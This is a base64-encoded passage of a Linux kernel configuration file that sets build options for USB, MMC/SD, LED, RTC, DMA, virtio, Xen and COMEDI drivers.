Rk9STT15CkNPTkZJR19VU0JfRUhDSV9IQ0Q9bQpDT05GSUdfVVNCX0VIQ0lfUk9PVF9IVUJfVFQ9 eQojIENPTkZJR19VU0JfRUhDSV9UVF9ORVdTQ0hFRCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfRUhD SV9QQ0k9bQpDT05GSUdfVVNCX0VIQ0lfSENEX1BMQVRGT1JNPW0KIyBDT05GSUdfVVNCX09YVTIx MEhQX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9JU1AxMTZYX0hDRCBpcyBub3Qgc2V0CkNP TkZJR19VU0JfSVNQMTM2Ml9IQ0Q9bQpDT05GSUdfVVNCX0ZVU0JIMjAwX0hDRD1tCiMgQ09ORklH X1VTQl9GT1RHMjEwX0hDRCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfTUFYMzQyMV9IQ0Q9bQojIENP TkZJR19VU0JfT0hDSV9IQ0QgaXMgbm90IHNldApDT05GSUdfVVNCX1VIQ0lfSENEPW0KQ09ORklH X1VTQl9VMTMyX0hDRD1tCkNPTkZJR19VU0JfU0w4MTFfSENEPW0KQ09ORklHX1VTQl9TTDgxMV9I Q0RfSVNPPXkKQ09ORklHX1VTQl9TTDgxMV9DUz1tCkNPTkZJR19VU0JfUjhBNjY1OTdfSENEPXkK Q09ORklHX1VTQl9IQ0RfU1NCPW0KIyBDT05GSUdfVVNCX0hDRF9URVNUX01PREUgaXMgbm90IHNl dAoKIwojIFVTQiBEZXZpY2UgQ2xhc3MgZHJpdmVycwojCkNPTkZJR19VU0JfQUNNPXkKQ09ORklH X1VTQl9QUklOVEVSPW0KQ09ORklHX1VTQl9XRE09bQojIENPTkZJR19VU0JfVE1DIGlzIG5vdCBz ZXQKCiMKIyBOT1RFOiBVU0JfU1RPUkFHRSBkZXBlbmRzIG9uIFNDU0kgYnV0IEJMS19ERVZfU0Qg bWF5CiMKCiMKIyBhbHNvIGJlIG5lZWRlZDsgc2VlIFVTQl9TVE9SQUdFIEhlbHAgZm9yIG1vcmUg aW5mbwojCkNPTkZJR19VU0JfU1RPUkFHRT1tCkNPTkZJR19VU0JfU1RPUkFHRV9ERUJVRz15CiMg Q09ORklHX1VTQl9TVE9SQUdFX1JFQUxURUsgaXMgbm90IHNldApDT05GSUdfVVNCX1NUT1JBR0Vf REFUQUZBQj1tCkNPTkZJR19VU0JfU1RPUkFHRV9GUkVFQ09NPW0KQ09ORklHX1VTQl9TVE9SQUdF X0lTRDIwMD1tCkNPTkZJR19VU0JfU1RPUkFHRV9VU0JBVD1tCkNPTkZJR19VU0JfU1RPUkFHRV9T RERSMDk9bQpDT05GSUdfVVNCX1NUT1JBR0VfU0REUjU1PW0KQ09ORklHX1VTQl9TVE9SQUdFX0pV TVBTSE9UPW0KIyBDT05GSUdfVVNCX1NUT1JBR0VfQUxBVURBIGlzIG5vdCBzZXQKIyBDT05GSUdf VVNCX1NUT1JBR0VfT05FVE9VQ0ggaXMgbm90IHNldAojIENPTkZJR19VU0JfU1RPUkFHRV9LQVJN QSBpcyBub3Qgc2V0CkNPTkZJR19VU0JfU1RPUkFHRV9DWVBSRVNTX0FUQUNCPW0KQ09ORklHX1VT Ql9TVE9SQUdFX0VORV9VQjYyNTA9bQpDT05GSUdfVVNCX1VBUz1tCgojCiMgVVNCIEltYWdpbmcg ZGV2aWNlcwojCiMgQ09ORklHX1VTQl9NREM4MDAgaXMgbm90IHNldApDT05GSUdfVVNCX01JQ1JP VEVLPW0KQ09ORklHX1VTQl9NVVNCX0hEUkM9eQpDT05GSUdfVVNCX01VU0JfSE9TVD15CgojCiMg UGxhdGZvcm0gR2x1ZSBMYXllcgojCgojCiMgTVVTQiBETUEgbW9kZQojCkNPTkZJR19NVVNCX1BJ T19PTkxZPXkKQ09ORklHX1VTQl9EV0MzPW0KIyBDT05GSUdfVVNCX0RXQzNfVUxQSSBpcyBub3Qg c2V0CkNPTkZJR19VU0JfRFdDM19IT1NUPXkKCiMKIyBQbGF0Zm9ybSBHbHVlIERyaXZlciBTdXBw b3J0CiMKQ09ORklHX1VTQl9EV0MzX1BDST1tCkNPTkZJR19VU0JfRFdDMj15CkNPTkZJR19VU0Jf RFdDMl9IT1NUPXkKCiMKIyBHYWRnZXQvRHVhbC1yb2xlIG1vZGUgcmVxdWlyZXMgVVNCIEdhZGdl dCBzdXBwb3J0IHRvIGJlIGVuYWJsZWQKIwpDT05GSUdfVVNCX0RXQzJfUENJPW0KQ09ORklHX1VT Ql9EV0MyX0RFQlVHPXkKQ09ORklHX1VTQl9EV0MyX1ZFUkJPU0U9eQpDT05GSUdfVVNCX0RXQzJf VFJBQ0tfTUlTU0VEX1NPRlM9eQojIENPTkZJR19VU0JfRFdDMl9ERUJVR19QRVJJT0RJQyBpcyBu b3Qgc2V0CkNPTkZJR19VU0JfQ0hJUElERUE9bQpDT05GSUdfVVNCX0NISVBJREVBX09GPW0KQ09O RklHX1VTQl9DSElQSURFQV9QQ0k9bQojIENPTkZJR19VU0JfQ0hJUElERUFfSE9TVCBpcyBub3Qg c2V0CkNPTkZJR19VU0JfQ0hJUElERUFfREVCVUc9eQojIENPTkZJR19VU0JfSVNQMTc2MCBpcyBu b3Qgc2V0CgojCiMgVVNCIHBvcnQgZHJpdmVycwojCkNPTkZJR19VU0JfVVNTNzIwPW0KQ09ORklH X1VTQl9TRVJJQUw9bQojIENPTkZJR19VU0JfU0VSSUFMX0dFTkVSSUMgaXMgbm90IHNldApDT05G SUdfVVNCX1NFUklBTF9TSU1QTEU9bQpDT05GSUdfVVNCX1NFUklBTF9BSVJDQUJMRT1tCkNPTkZJ R19VU0JfU0VSSUFMX0FSSzMxMTY9bQpDT05GSUdfVVNCX1NFUklBTF9CRUxLSU49bQpDT05GSUdf VVNCX1NFUklBTF9DSDM0MT1tCkNPTkZJR19VU0JfU0VSSUFMX1dISVRFSEVBVD1tCkNPTkZJR19V U0JfU0VSSUFMX0RJR0lfQUNDRUxFUE9SVD1tCkNPTkZJR19VU0JfU0VSSUFMX0NQMjEwWD1tCiMg Q09ORklHX1VTQl9TRVJJQUxfQ1lQUkVTU19NOCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJ QUxfRU1QRUcgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0ZURElfU0lPIGlzIG5vdCBz ZXQKQ09ORklHX1VTQl9TRVJJQUxfVklTT1I9bQpDT05GSUdfVVNCX1NFUklBTF9JUEFRPW0KQ09O RklHX1VTQl9TRVJJQUxfSVI9bQojIENPTkZJR19VU0JfU0VSSUFMX0VER0VQT1JUIGlzIG5vdCBz ZXQKQ09ORklHX1VTQl9TRVJJQUxfRURHRVBPUlRfVEk9bQpDT05GSUdfVVNCX1NFUklBTF9GODEy MzI9bQpDT05GSUdfVVNCX1NFUklBTF9HQVJNSU49bQpDT05GSUdfVVNCX1NFUklBTF9JUFc9bQpD T05GSUdfVVNCX1NFUklBTF9JVVU9bQojIENPTkZJR19VU0JfU0VSSUFMX0tFWVNQQU5fUERBIGlz IG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9LRVlTUEFOIGlzIG5vdCBzZXQKQ09ORklHX1VT Ql9TRVJJQUxfS0xTST1tCiMgQ09ORklHX1VTQl9TRVJJQUxfS09CSUxfU0NUIGlzIG5vdCBzZXQK Q09ORklHX1VTQl9TRVJJQUxfTUNUX1UyMzI9bQpDT05GSUdfVVNCX1NFUklBTF9NRVRSTz1tCkNP TkZJR19VU0JfU0VSSUFMX01PUzc3MjA9bQojIENPTkZJR19VU0JfU0VSSUFMX01PUzc3MTVfUEFS UE9SVCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfU0VSSUFMX01PUzc4NDA9bQojIENPTkZJR19VU0Jf U0VSSUFMX01YVVBPUlQgaXMgbm90IHNldApDT05GSUdfVVNCX1NFUklBTF9OQVZNQU49bQojIENP TkZJR19VU0JfU0VSSUFMX1BMMjMwMyBpcyBub3Qgc2V0CkNPTkZJR19VU0JfU0VSSUFMX09USTY4 NTg9bQojIENPTkZJR19VU0JfU0VSSUFMX1FDQVVYIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NF UklBTF9RVUFMQ09NTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfU1BDUDhYNSBpcyBu b3Qgc2V0CkNPTkZJR19VU0JfU0VSSUFMX1NBRkU9bQpDT05GSUdfVVNCX1NFUklBTF9TQUZFX1BB RERFRD15CkNPTkZJR19VU0JfU0VSSUFMX1NJRVJSQVdJUkVMRVNTPW0KQ09ORklHX1VTQl9TRVJJ QUxfU1lNQk9MPW0KIyBDT05GSUdfVVNCX1NFUklBTF9USSBpcyBub3Qgc2V0CkNPTkZJR19VU0Jf U0VSSUFMX0NZQkVSSkFDSz1tCkNPTkZJR19VU0JfU0VSSUFMX1hJUkNPTT1tCkNPTkZJR19VU0Jf U0VSSUFMX1dXQU49bQojIENPTkZJR19VU0JfU0VSSUFMX09QVElPTiBpcyBub3Qgc2V0CkNPTkZJ R19VU0JfU0VSSUFMX09NTklORVQ9bQpDT05GSUdfVVNCX1NFUklBTF9PUFRJQ09OPW0KIyBDT05G SUdfVVNCX1NFUklBTF9YU0VOU19NVCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfU0VSSUFMX1dJU0hC T05FPW0KIyBDT05GSUdfVVNCX1NFUklBTF9TU1UxMDAgaXMgbm90IHNldAojIENPTkZJR19VU0Jf U0VSSUFMX1FUMiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfREVCVUcgaXMgbm90IHNl dAoKIwojIFVTQiBNaXNjZWxsYW5lb3VzIGRyaXZlcnMKIwojIENPTkZJR19VU0JfRU1JNjIgaXMg bm90IHNldAojIENPTkZJR19VU0JfRU1JMjYgaXMgbm90IHNldApDT05GSUdfVVNCX0FEVVRVWD15 CiMgQ09ORklHX1VTQl9TRVZTRUcgaXMgbm90IHNldAojIENPTkZJR19VU0JfUklPNTAwIGlzIG5v dCBzZXQKIyBDT05GSUdfVVNCX0xFR09UT1dFUiBpcyBub3Qgc2V0CkNPTkZJR19VU0JfTENEPXkK IyBDT05GSUdfVVNCX0xFRCBpcyBub3Qgc2V0CkNPTkZJR19VU0JfQ1lQUkVTU19DWTdDNjM9bQpD T05GSUdfVVNCX0NZVEhFUk09eQojIENPTkZJR19VU0JfSURNT1VTRSBpcyBub3Qgc2V0CkNPTkZJ R19VU0JfRlRESV9FTEFOPW0KIyBDT05GSUdfVVNCX0FQUExFRElTUExBWSBpcyBub3Qgc2V0CiMg Q09ORklHX1VTQl9TSVNVU0JWR0EgaXMgbm90IHNldApDT05GSUdfVVNCX0xEPW0KQ09ORklHX1VT Ql9UUkFOQ0VWSUJSQVRPUj1tCiMgQ09ORklHX1VTQl9JT1dBUlJJT1IgaXMgbm90IHNldApDT05G SUdfVVNCX1RFU1Q9bQpDT05GSUdfVVNCX0VIU0VUX1RFU1RfRklYVFVSRT15CiMgQ09ORklHX1VT Ql9JU0lHSFRGVyBpcyBub3Qgc2V0CkNPTkZJR19VU0JfWVVSRVg9eQpDT05GSUdfVVNCX0VaVVNC X0ZYMj1tCiMgQ09ORklHX1VTQl9IU0lDX1VTQjM1MDMgaXMgbm90IHNldApDT05GSUdfVVNCX0xJ TktfTEFZRVJfVEVTVD1tCkNPTkZJR19VU0JfQ0hBT1NLRVk9bQoKIwojIFVTQiBQaHlzaWNhbCBM YXllciBkcml2ZXJzCiMKQ09ORklHX1VTQl9QSFk9eQpDT05GSUdfTk9QX1VTQl9YQ0VJVj1tCkNP TkZJR19UQUhWT19VU0I9bQpDT05GSUdfVEFIVk9fVVNCX0hPU1RfQllfREVGQVVMVD15CiMgQ09O RklHX1VTQl9JU1AxMzAxIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0dBREdFVCBpcyBub3Qgc2V0 CiMgQ09ORklHX1VTQl9MRURfVFJJRyBpcyBub3Qgc2V0CiMgQ09ORklHX1VXQiBpcyBub3Qgc2V0 CkNPTkZJR19NTUM9bQpDT05GSUdfTU1DX0RFQlVHPXkKCiMKIyBNTUMvU0QvU0RJTyBDYXJkIERy aXZlcnMKIwpDT05GSUdfTU1DX0JMT0NLPW0KQ09ORklHX01NQ19CTE9DS19NSU5PUlM9OAojIENP TkZJR19NTUNfQkxPQ0tfQk9VTkNFIGlzIG5vdCBzZXQKQ09ORklHX1NESU9fVUFSVD1tCkNPTkZJ R19NTUNfVEVTVD1tCgojCiMgTU1DL1NEL1NESU8gSG9zdCBDb250cm9sbGVyIERyaXZlcnMKIwpD T05GSUdfTU1DX1NESENJPW0KQ09ORklHX01NQ19TREhDSV9QQ0k9bQpDT05GSUdfTU1DX1JJQ09I X01NQz15CkNPTkZJR19NTUNfU0RIQ0lfQUNQST1tCiMgQ09ORklHX01NQ19TREhDSV9QTFRGTSBp cyBub3Qgc2V0CiMgQ09ORklHX01NQ19XQlNEIGlzIG5vdCBzZXQKQ09ORklHX01NQ19USUZNX1NE PW0KQ09ORklHX01NQ19TUEk9bQojIENPTkZJR19NTUNfU0RSSUNPSF9DUyBpcyBub3Qgc2V0CiMg Q09ORklHX01NQ19DQjcxMCBpcyBub3Qgc2V0CiMgQ09ORklHX01NQ19WSUFfU0RNTUMgaXMgbm90 IHNldAojIENPTkZJR19NTUNfVlVCMzAwIGlzIG5vdCBzZXQKQ09ORklHX01NQ19VU0hDPW0KQ09O RklHX01NQ19VU0RISTZST0wwPW0KQ09ORklHX01NQ19SRUFMVEVLX1VTQj1tCiMgQ09ORklHX01N Q19UT1NISUJBX1BDSSBpcyBub3Qgc2V0CkNPTkZJR19NTUNfTVRLPW0KQ09ORklHX01FTVNUSUNL PW0KQ09ORklHX01FTVNUSUNLX0RFQlVHPXkKCiMKIyBNZW1vcnlTdGljayBkcml2ZXJzCiMKIyBD T05GSUdfTUVNU1RJQ0tfVU5TQUZFX1JFU1VNRSBpcyBub3Qgc2V0CiMgQ09ORklHX01TUFJPX0JM T0NLIGlzIG5vdCBzZXQKQ09ORklHX01TX0JMT0NLPW0KCiMKIyBNZW1vcnlTdGljayBIb3N0IENv bnRyb2xsZXIgRHJpdmVycwojCiMgQ09ORklHX01FTVNUSUNLX1RJRk1fTVMgaXMgbm90IHNldApD T05GSUdfTUVNU1RJQ0tfSk1JQ1JPTl8zOFg9bQpDT05GSUdfTUVNU1RJQ0tfUjU5Mj1tCiMgQ09O RklHX01FTVNUSUNLX1JFQUxURUtfVVNCIGlzIG5vdCBzZXQKQ09ORklHX05FV19MRURTPXkKQ09O RklHX0xFRFNfQ0xBU1M9eQojIENPTkZJR19MRURTX0NMQVNTX0ZMQVNIIGlzIG5vdCBzZXQKCiMK IyBMRUQgZHJpdmVycwojCkNPTkZJR19MRURTXzg4UE04NjBYPXkKIyBDT05GSUdfTEVEU19CQ002 MzI4IGlzIG5vdCBzZXQKQ09ORklHX0xFRFNfQkNNNjM1OD1tCkNPTkZJR19MRURTX0xNMzUzMD15 CkNPTkZJR19MRURTX0xNMzUzMz1tCkNPTkZJR19MRURTX0xNMzY0Mj15CiMgQ09ORklHX0xFRFNf UENBOTUzMiBpcyBub3Qgc2V0CkNPTkZJR19MRURTX0xQMzk0ND15CkNPTkZJR19MRURTX0xQNTVY WF9DT01NT049bQpDT05GSUdfTEVEU19MUDU1MjE9bQpDT05GSUdfTEVEU19MUDU1MjM9bQojIENP TkZJR19MRURTX0xQNTU2MiBpcyBub3Qgc2V0CiMgQ09ORklHX0xFRFNfTFA4NTAxIGlzIG5vdCBz ZXQKQ09ORklHX0xFRFNfTFA4ODYwPXkKQ09ORklHX0xFRFNfUENBOTU1WD15CiMgQ09ORklHX0xF RFNfUENBOTYzWCBpcyBub3Qgc2V0CiMgQ09ORklHX0xFRFNfV004MzFYX1NUQVRVUyBpcyBub3Qg c2V0CiMgQ09ORklHX0xFRFNfV004MzUwIGlzIG5vdCBzZXQKIyBDT05GSUdfTEVEU19EQTkwM1gg aXMgbm90IHNldAojIENPTkZJR19MRURTX0RBOTA1MiBpcyBub3Qgc2V0CkNPTkZJR19MRURTX0RB QzEyNFMwODU9bQpDT05GSUdfTEVEU19QV009bQpDT05GSUdfTEVEU19SRUdVTEFUT1I9bQojIENP TkZJR19MRURTX0JEMjgwMiBpcyBub3Qgc2V0CiMgQ09ORklHX0xFRFNfQURQNTUyMCBpcyBub3Qg c2V0CiMgQ09ORklHX0xFRFNfTUMxMzc4MyBpcyBub3Qgc2V0CkNPTkZJR19MRURTX1RDQTY1MDc9 eQpDT05GSUdfTEVEU19UTEM1OTFYWD15CkNPTkZJR19MRURTX0xNMzU1eD1tCgojCiMgTEVEIGRy aXZlciBmb3IgYmxpbmsoMSkgVVNCIFJHQiBMRUQgaXMgdW5kZXIgU3BlY2lhbCBISUQgZHJpdmVy cyAoSElEX1RISU5HTSkKIwojIENPTkZJR19MRURTX0JMSU5LTSBpcyBub3Qgc2V0CgojCiMgTEVE IFRyaWdnZXJzCiMKQ09ORklHX0xFRFNfVFJJR0dFUlM9eQpDT05GSUdfTEVEU19UUklHR0VSX1RJ TUVSPXkKQ09ORklHX0xFRFNfVFJJR0dFUl9PTkVTSE9UPXkKIyBDT05GSUdfTEVEU19UUklHR0VS X0hFQVJUQkVBVCBpcyBub3Qgc2V0CkNPTkZJR19MRURTX1RSSUdHRVJfQkFDS0xJR0hUPW0KIyBD T05GSUdfTEVEU19UUklHR0VSX0NQVSBpcyBub3Qgc2V0CkNPTkZJR19MRURTX1RSSUdHRVJfREVG QVVMVF9PTj1tCgojCiMgaXB0YWJsZXMgdHJpZ2dlciBpcyB1bmRlciBOZXRmaWx0ZXIgY29uZmln IChMRUQgdGFyZ2V0KQojCkNPTkZJR19MRURTX1RSSUdHRVJfVFJBTlNJRU5UPXkKIyBDT05GSUdf TEVEU19UUklHR0VSX0NBTUVSQSBpcyBub3Qgc2V0CkNPTkZJR19BQ0NFU1NJQklMSVRZPXkKQ09O RklHX0ExMVlfQlJBSUxMRV9DT05TT0xFPXkKQ09ORklHX0VEQUNfQVRPTUlDX1NDUlVCPXkKQ09O RklHX0VEQUNfU1VQUE9SVD15CkNPTkZJR19FREFDPXkKQ09ORklHX0VEQUNfTEVHQUNZX1NZU0ZT PXkKIyBDT05GSUdfRURBQ19ERUJVRyBpcyBub3Qgc2V0CkNPTkZJR19FREFDX01NX0VEQUM9eQpD T05GSUdfRURBQ19FNzUyWD1tCkNPTkZJR19FREFDX0k4Mjk3NVg9eQpDT05GSUdfRURBQ19JMzAw MD15CiMgQ09ORklHX0VEQUNfSTMyMDAgaXMgbm90IHNldAojIENPTkZJR19FREFDX0lFMzEyMDAg aXMgbm90IHNldApDT05GSUdfRURBQ19YMzg9eQpDT05GSUdfRURBQ19JNTQwMD15CkNPTkZJR19F REFDX0k1MDAwPW0KIyBDT05GSUdfRURBQ19JNTEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0VEQUNf STczMDAgaXMgbm90IHNldApDT05GSUdfUlRDX0xJQj15CkNPTkZJR19SVENfQ0xBU1M9eQojIENP TkZJR19SVENfSENUT1NZUyBpcyBub3Qgc2V0CkNPTkZJR19SVENfU1lTVE9IQz15CkNPTkZJR19S VENfU1lTVE9IQ19ERVZJQ0U9InJ0YzAiCkNPTkZJR19SVENfREVCVUc9eQoKIwojIFJUQyBpbnRl cmZhY2VzCiMKIyBDT05GSUdfUlRDX0lOVEZfU1lTRlMgaXMgbm90IHNldAojIENPTkZJR19SVENf SU5URl9ERVYgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX1RFU1QgaXMgbm90IHNldAoKIwoj IEkyQyBSVEMgZHJpdmVycwojCkNPTkZJR19SVENfRFJWXzg4UE04NjBYPW0KIyBDT05GSUdfUlRD X0RSVl84OFBNODBYIGlzIG5vdCBzZXQKQ09ORklHX1JUQ19EUlZfQUJCNVpFUzM9bQojIENPTkZJ R19SVENfRFJWX0FCWDgwWCBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQ19EUlZfQVMzNzIyIGlzIG5v dCBzZXQKQ09ORklHX1JUQ19EUlZfRFMxMzA3PXkKQ09ORklHX1JUQ19EUlZfRFMxMzc0PXkKQ09O RklHX1JUQ19EUlZfRFMxMzc0X1dEVD15CkNPTkZJR19SVENfRFJWX0RTMTY3Mj15CiMgQ09ORklH X1JUQ19EUlZfRFMzMjMyIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9IWU04NTYzIGlzIG5v dCBzZXQKQ09ORklHX1JUQ19EUlZfTUFYNjkwMD15CkNPTkZJR19SVENfRFJWX01BWDg5MjU9eQpD T05GSUdfUlRDX0RSVl9NQVg4OTk4PW0KQ09ORklHX1JUQ19EUlZfTUFYNzc2ODY9eQojIENPTkZJ R19SVENfRFJWX01BWDc3ODAyIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9SUzVDMzcyIGlz IG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9JU0wxMjA4IGlzIG5vdCBzZXQKQ09ORklHX1JUQ19E UlZfSVNMMTIwMjI9bQpDT05GSUdfUlRDX0RSVl9JU0wxMjA1Nz15CkNPTkZJR19SVENfRFJWX1gx MjA1PW0KQ09ORklHX1JUQ19EUlZfUENGMjEyNz15CiMgQ09ORklHX1JUQ19EUlZfUENGODUyMyBp cyBub3Qgc2V0CkNPTkZJR19SVENfRFJWX1BDRjg1NjM9eQpDT05GSUdfUlRDX0RSVl9QQ0Y4NTA2 Mz15CkNPTkZJR19SVENfRFJWX1BDRjg1ODM9eQpDT05GSUdfUlRDX0RSVl9NNDFUODA9bQojIENP TkZJR19SVENfRFJWX000MVQ4MF9XRFQgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0JRMzJL IGlzIG5vdCBzZXQKQ09ORklHX1JUQ19EUlZfVFdMNDAzMD15CkNPTkZJR19SVENfRFJWX1MzNTM5 MEE9eQojIENPTkZJR19SVENfRFJWX0ZNMzEzMCBpcyBub3Qgc2V0CkNPTkZJR19SVENfRFJWX1JY ODU4MT1tCkNPTkZJR19SVENfRFJWX1JYODAyNT1tCkNPTkZJR19SVENfRFJWX0VNMzAyNz1tCkNP TkZJR19SVENfRFJWX1JWMzAyOUMyPXkKQ09ORklHX1JUQ19EUlZfUzVNPXkKCiMKIyBTUEkgUlRD IGRyaXZlcnMKIwpDT05GSUdfUlRDX0RSVl9NNDFUOTM9bQpDT05GSUdfUlRDX0RSVl9NNDFUOTQ9 eQpDT05GSUdfUlRDX0RSVl9EUzEzMDU9eQojIENPTkZJR19SVENfRFJWX0RTMTM0MyBpcyBub3Qg c2V0CkNPTkZJR19SVENfRFJWX0RTMTM0Nz15CkNPTkZJR19SVENfRFJWX0RTMTM5MD1tCiMgQ09O RklHX1JUQ19EUlZfTUFYNjkwMiBpcyBub3Qgc2V0CkNPTkZJR19SVENfRFJWX1I5NzAxPXkKIyBD T05GSUdfUlRDX0RSVl9SUzVDMzQ4IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9EUzMyMzQg aXMgbm90IHNldApDT05GSUdfUlRDX0RSVl9QQ0YyMTIzPW0KQ09ORklHX1JUQ19EUlZfUlg0NTgx PXkKIyBDT05GSUdfUlRDX0RSVl9NQ1A3OTUgaXMgbm90IHNldAoKIwojIFBsYXRmb3JtIFJUQyBk cml2ZXJzCiMKIyBDT05GSUdfUlRDX0RSVl9DTU9TIGlzIG5vdCBzZXQKQ09ORklHX1JUQ19EUlZf RFMxMjg2PW0KQ09ORklHX1JUQ19EUlZfRFMxNTExPXkKIyBDT05GSUdfUlRDX0RSVl9EUzE1NTMg aXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX0RTMTY4NV9GQU1JTFkgaXMgbm90IHNldAojIENP TkZJR19SVENfRFJWX0RTMTc0MiBpcyBub3Qgc2V0CkNPTkZJR19SVENfRFJWX0RTMjQwND1tCiMg Q09ORklHX1JUQ19EUlZfREE5MDUyIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9EQTkwNTUg aXMgbm90IHNldApDT05GSUdfUlRDX0RSVl9TVEsxN1RBOD1tCkNPTkZJR19SVENfRFJWX000OFQ4 Nj15CiMgQ09ORklHX1JUQ19EUlZfTTQ4VDM1IGlzIG5vdCBzZXQKIyBDT05GSUdfUlRDX0RSVl9N NDhUNTkgaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX01TTTYyNDIgaXMgbm90IHNldApDT05G SUdfUlRDX0RSVl9CUTQ4MDI9eQpDT05GSUdfUlRDX0RSVl9SUDVDMDE9bQpDT05GSUdfUlRDX0RS Vl9WMzAyMD15CkNPTkZJR19SVENfRFJWX1dNODMxWD15CkNPTkZJR19SVENfRFJWX1dNODM1MD15 CiMgQ09ORklHX1JUQ19EUlZfUENGNTA2MzMgaXMgbm90IHNldApDT05GSUdfUlRDX0RSVl9aWU5R TVA9bQoKIwojIG9uLUNQVSBSVEMgZHJpdmVycwojCkNPTkZJR19SVENfRFJWX1BDQVA9eQojIENP TkZJR19SVENfRFJWX01DMTNYWFggaXMgbm90IHNldAojIENPTkZJR19SVENfRFJWX1NOVlMgaXMg bm90IHNldApDT05GSUdfUlRDX0RSVl9NVDYzOTc9eQoKIwojIEhJRCBTZW5zb3IgUlRDIGRyaXZl cnMKIwpDT05GSUdfRE1BREVWSUNFUz15CiMgQ09ORklHX0RNQURFVklDRVNfREVCVUcgaXMgbm90 IHNldAoKIwojIERNQSBEZXZpY2VzCiMKQ09ORklHX0RNQV9FTkdJTkU9eQpDT05GSUdfRE1BX1ZJ UlRVQUxfQ0hBTk5FTFM9eQpDT05GSUdfRE1BX0FDUEk9eQpDT05GSUdfRE1BX09GPXkKIyBDT05G SUdfRlNMX0VETUEgaXMgbm90IHNldApDT05GSUdfSU5URUxfSURNQTY0PXkKIyBDT05GSUdfSU5U RUxfSU9BVERNQSBpcyBub3Qgc2V0CkNPTkZJR19EV19ETUFDX0NPUkU9eQojIENPTkZJR19EV19E TUFDIGlzIG5vdCBzZXQKQ09ORklHX0RXX0RNQUNfUENJPXkKIyBDT05GSUdfSFNVX0RNQV9QQ0kg aXMgbm90IHNldAoKIwojIERNQSBDbGllbnRzCiMKQ09ORklHX0FTWU5DX1RYX0RNQT15CkNPTkZJ R19ETUFURVNUPXkKIyBDT05GSUdfQVVYRElTUExBWSBpcyBub3Qgc2V0CkNPTkZJR19VSU89bQpD T05GSUdfVUlPX0NJRj1tCkNPTkZJR19VSU9fUERSVl9HRU5JUlE9bQpDT05GSUdfVUlPX0RNRU1f R0VOSVJRPW0KQ09ORklHX1VJT19BRUM9bQpDT05GSUdfVUlPX1NFUkNPUzM9bQpDT05GSUdfVUlP X1BDSV9HRU5FUklDPW0KQ09ORklHX1VJT19ORVRYPW0KIyBDT05GSUdfVUlPX1BSVVNTIGlzIG5v dCBzZXQKIyBDT05GSUdfVUlPX01GNjI0IGlzIG5vdCBzZXQKQ09ORklHX1ZGSU9fSU9NTVVfVFlQ RTE9eQpDT05GSUdfVkZJTz15CiMgQ09ORklHX1ZJUlRfRFJJVkVSUyBpcyBub3Qgc2V0CkNPTkZJ R19WSVJUSU89bQoKIwojIFZpcnRpbyBkcml2ZXJzCiMKIyBDT05GSUdfVklSVElPX1BDSSBpcyBu b3Qgc2V0CiMgQ09ORklHX1ZJUlRJT19CQUxMT09OIGlzIG5vdCBzZXQKQ09ORklHX1ZJUlRJT19J TlBVVD1tCkNPTkZJR19WSVJUSU9fTU1JTz1tCkNPTkZJR19WSVJUSU9fTU1JT19DTURMSU5FX0RF VklDRVM9eQoKIwojIE1pY3Jvc29mdCBIeXBlci1WIGd1ZXN0IHN1cHBvcnQKIwojIENPTkZJR19I WVBFUlYgaXMgbm90IHNldAoKIwojIFhlbiBkcml2ZXIgc3VwcG9ydAojCkNPTkZJR19YRU5fQkFM TE9PTj15CiMgQ09ORklHX1hFTl9TRUxGQkFMTE9PTklORyBpcyBub3Qgc2V0CiMgQ09ORklHX1hF Tl9TQ1JVQl9QQUdFUyBpcyBub3Qgc2V0CkNPTkZJR19YRU5fREVWX0VWVENITj15CkNPTkZJR19Y RU5fQkFDS0VORD15CkNPTkZJR19YRU5GUz15CiMgQ09ORklHX1hFTl9DT01QQVRfWEVORlMgaXMg bm90IHNldAojIENPTkZJR19YRU5fU1lTX0hZUEVSVklTT1IgaXMgbm90IHNldApDT05GSUdfWEVO X1hFTkJVU19GUk9OVEVORD15CkNPTkZJR19YRU5fR05UREVWPW0KIyBDT05GSUdfWEVOX0dSQU5U X0RFVl9BTExPQyBpcyBub3Qgc2V0CkNPTkZJR19TV0lPVExCX1hFTj15CkNPTkZJR19YRU5fVE1F TT1tCiMgQ09ORklHX1hFTl9QQ0lERVZfQkFDS0VORCBpcyBub3Qgc2V0CiMgQ09ORklHX1hFTl9T Q1NJX0JBQ0tFTkQgaXMgbm90IHNldApDT05GSUdfWEVOX1BSSVZDTUQ9eQpDT05GSUdfWEVOX0hB VkVfUFZNTVU9eQpDT05GSUdfWEVOX0VGST15CkNPTkZJR19YRU5fQVVUT19YTEFURT15CkNPTkZJ R19YRU5fQUNQST15CkNPTkZJR19YRU5fU1lNUz15CkNPTkZJR19YRU5fSEFWRV9WUE1VPXkKQ09O RklHX1NUQUdJTkc9eQpDT05GSUdfQ09NRURJPW0KQ09ORklHX0NPTUVESV9ERUJVRz15CkNPTkZJ R19DT01FRElfREVGQVVMVF9CVUZfU0laRV9LQj0yMDQ4CkNPTkZJR19DT01FRElfREVGQVVMVF9C VUZfTUFYU0laRV9LQj0yMDQ4MAojIENPTkZJR19DT01FRElfTUlTQ19EUklWRVJTIGlzIG5vdCBz 